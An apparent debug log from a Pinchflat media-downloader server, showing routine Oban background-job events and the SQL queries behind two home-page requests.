{"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:35:15.319 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:45.321 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.630 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:36:15.323 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:45.325 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.631 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:37:15.327 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:45.329 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.632 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:38:15.331 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:45.332 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.633 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:39:15.335 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:45.337 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.634 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:40:15.339 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:45.341 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.635 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:41:15.343 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:45.345 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.636 [info] {"source":"oban","duration":204,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:42:15.347 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:45.349 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.637 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:43:15.351 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:45.353 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.638 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:44:15.355 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:45.357 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.639 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:45:08.026 [info] GET / 08:45:08.026 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 08:45:08.027 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1036.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:45:08.028 [debug] QUERY OK source="media_profiles" db=0.2ms idle=857.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 08:45:08.028 [debug] QUERY OK source="sources" db=0.2ms idle=858.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 08:45:08.031 [debug] QUERY OK source="media_items" db=2.2ms idle=858.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 08:45:08.032 [debug] QUERY OK source="media_items" db=0.5ms idle=37.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 08:45:08.033 [debug] QUERY OK source="settings" db=0.2ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:45:08.033 [debug] QUERY OK source="settings" db=0.2ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:45:08.034 [debug] QUERY OK source="settings" db=0.2ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:45:08.036 [debug] QUERY OK source="tasks" db=0.5ms idle=4.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 08:45:08.037 [debug] QUERY OK source="media_items" db=0.5ms idle=4.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 08:45:08.039 [debug] QUERY OK source="media_items" db=1.0ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 08:45:08.040 [debug] QUERY OK source="sources" db=0.4ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 4] 08:45:08.046 [debug] QUERY OK source="media_items" db=1.8ms idle=10.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 08:45:08.048 [debug] QUERY OK source="media_items" db=1.4ms idle=10.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 08:45:08.049 [debug] QUERY OK source="sources" db=0.5ms idle=11.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:45:08.053 [info] Sent 200 in 26ms 08:45:15.359 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:45.361 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.640 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:46:15.363 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:45.365 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.641 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:47:15.367 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:45.369 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.642 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:48:15.371 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:45.373 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.643 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:49:15.375 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:45.378 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.644 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:50:02.322 [info] GET / 08:50:02.322 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 08:50:02.323 [debug] QUERY OK source="settings" db=0.4ms idle=1152.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:50:02.324 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1153.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 08:50:02.324 [debug] QUERY OK source="sources" db=0.3ms idle=1154.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 08:50:02.326 [debug] QUERY OK source="media_items" db=1.5ms idle=738.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 08:50:02.327 [debug] QUERY OK source="media_items" db=0.4ms idle=156.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 08:50:02.327 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:50:02.328 [debug] QUERY OK source="settings" db=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:50:02.329 [debug] QUERY OK source="settings" db=0.2ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:50:02.331 [debug] QUERY OK source="tasks" db=0.5ms idle=4.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 08:50:02.332 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 08:50:02.333 [debug] QUERY OK source="media_items" db=0.8ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 08:50:02.334 [debug] QUERY OK source="sources" db=0.4ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 4] 08:50:02.340 [debug] QUERY OK source="media_items" db=1.4ms idle=9.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 08:50:02.341 [debug] QUERY OK source="media_items" db=1.2ms idle=9.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 08:50:02.343 [debug] QUERY OK source="sources" db=0.4ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:50:02.347 [info] Sent 200 in 24ms 08:50:15.380 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:45.382 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:00.645 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:51:15.384 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:51:45.386 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:00.646 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:52:15.388 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:52:45.390 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:00.647 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:53:15.392 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:53:45.394 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:00.648 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:54:15.396 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:54:45.398 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:00.649 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:55:15.400 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:55:45.402 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:00.650 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:56:15.404 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:56:45.406 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:00.651 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:57:15.408 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:57:45.410 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:00.652 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:58:15.412 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:58:45.414 [info] {"source":"oban","duration":1609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:00.653 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:59:15.416 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:59:45.418 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:00.654 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:00:15.420 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:00:45.422 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:00.655 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:01:15.424 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:01:45.426 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:00.656 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:02:15.428 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:02:45.430 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:00.657 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:03:15.432 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:03:45.434 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:00.658 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:04:15.436 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:04:45.437 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:00.659 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:05:15.440 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:05:45.442 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:00.660 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:06:15.444 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:06:45.446 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:00.661 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:07:15.448 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:07:45.450 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:00.662 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:08:15.452 